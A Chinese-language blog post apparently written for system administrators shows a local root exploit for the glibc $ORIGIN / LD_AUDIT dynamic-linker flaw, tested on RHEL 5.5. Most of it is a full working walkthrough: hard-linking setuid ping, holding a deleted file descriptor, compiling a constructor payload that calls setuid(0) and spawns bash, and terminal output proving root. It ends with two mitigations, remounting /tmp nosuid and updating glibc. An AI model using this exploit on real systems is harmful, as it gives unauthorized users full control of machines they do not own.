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linux gcc++漏洞：普通用户获得root权限
linux gcc++漏洞：普通用户获得root权限
Crushlinux 已经在RHEL5.5 32上测试过
原理：The GNU C library dynamic linker expands $ORIGIN in setuid library search path
1、创建一个普通测试用户：
1 2 3 4 5 6 7 | [root@crushlinux4 ~]# useradd test [root@crushlinux4 ~]# passwd test Changing password for user test. New UNIX password: BAD PASSWORD: it is too short Retype new UNIX password: passwd: all authentication tokens updated successfully. |
2、切换到这个用户：
1 2 3 4 5 | [root@crushlinux4 ~]# su - test [test@crushlinux4 ~]$ whoami test [test@crushlinux4 ~]$ useradd user1 -bash: useradd: command not found |
3、开始提权
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | [test@crushlinux4 ~]$ mkdir /tmp/exploit [test@crushlinux4 ~]$ ln /bin/ping /tmp/exploit/target [test@crushlinux4 ~]$ exec 3< /tmp/exploit/target [test@crushlinux4 ~]$ ls -l /proc/$$/fd/3 lr-x------ 1 test test 64 08-07 17:43 /proc/5922/fd/3 -> /tmp/exploit/target [test@crushlinux4 ~]$ rm -rf /tmp/exploit/ [test@crushlinux4 ~]$ ls -l /proc/$$/fd/3 lr-x------ 1 test test 64 08-07 17:43 /proc/5922/fd/3 -> /tmp/exploit/target (deleted) [test@crushlinux4 ~]$ cat > payload.c ---------------------------------------- void __attribute__((constructor)) init() { setuid(0); system("/bin/bash"); } ---------------------------------------- [test@crushlinux4 ~]$ cat payload.c void __attribute__((constructor)) init() { setuid(0); system("/bin/bash"); } [test@crushlinux4 ~]$ gcc -w -fPIC -shared -o /tmp/exploit payload.c [test@crushlinux4 ~]$ ls -l /tmp/exploit -rwxrwxr-x 1 test test 4223 08-07 17:43 /tmp/exploit [test@crushlinux4 ~]$ LD_AUDIT="$ORIGIN" exec /proc/self/fd/3 Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline] [-p pattern] [-s packetsize] [-t ttl] [-I interface or address] [-M mtu discovery hint] [-S sndbuf] [ -T timestamp option ] [ -Q tos ] [hop1 ...] destination |
4、权限验证：
1 2 3 4 5 6 7 8 | [root@crushlinux4 ~]# whoami root [root@crushlinux4 ~]# useradd user1 [root@crushlinux4 ~]# useradd user2 [root@crushlinux4 ~]# ls /home/ test user1 user2 [root@crushlinux4 ~]# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) |
大家看到提权后的结果了，作为运维工程师遇到这类问题，就需要提供解决方法了！
有两种解决办法：
1、绑定目录
nosuid的原理：像/etc/passwd这种文件，本来只有root用户有权限修改，但是用户本身也可以修改自己的密码（超出它本身权限的行为）nosuid可以停止这种提升特权的办法。比如/tmp目录就有这样的权限，我们就需要对它严加控制。
1 2 | mount -o bind /tmp /tmp mount -o remount,bind,nosuid /tmp /tmp |
2、更新glibc版本（红帽官方推荐）
1 | yum -y update glibc |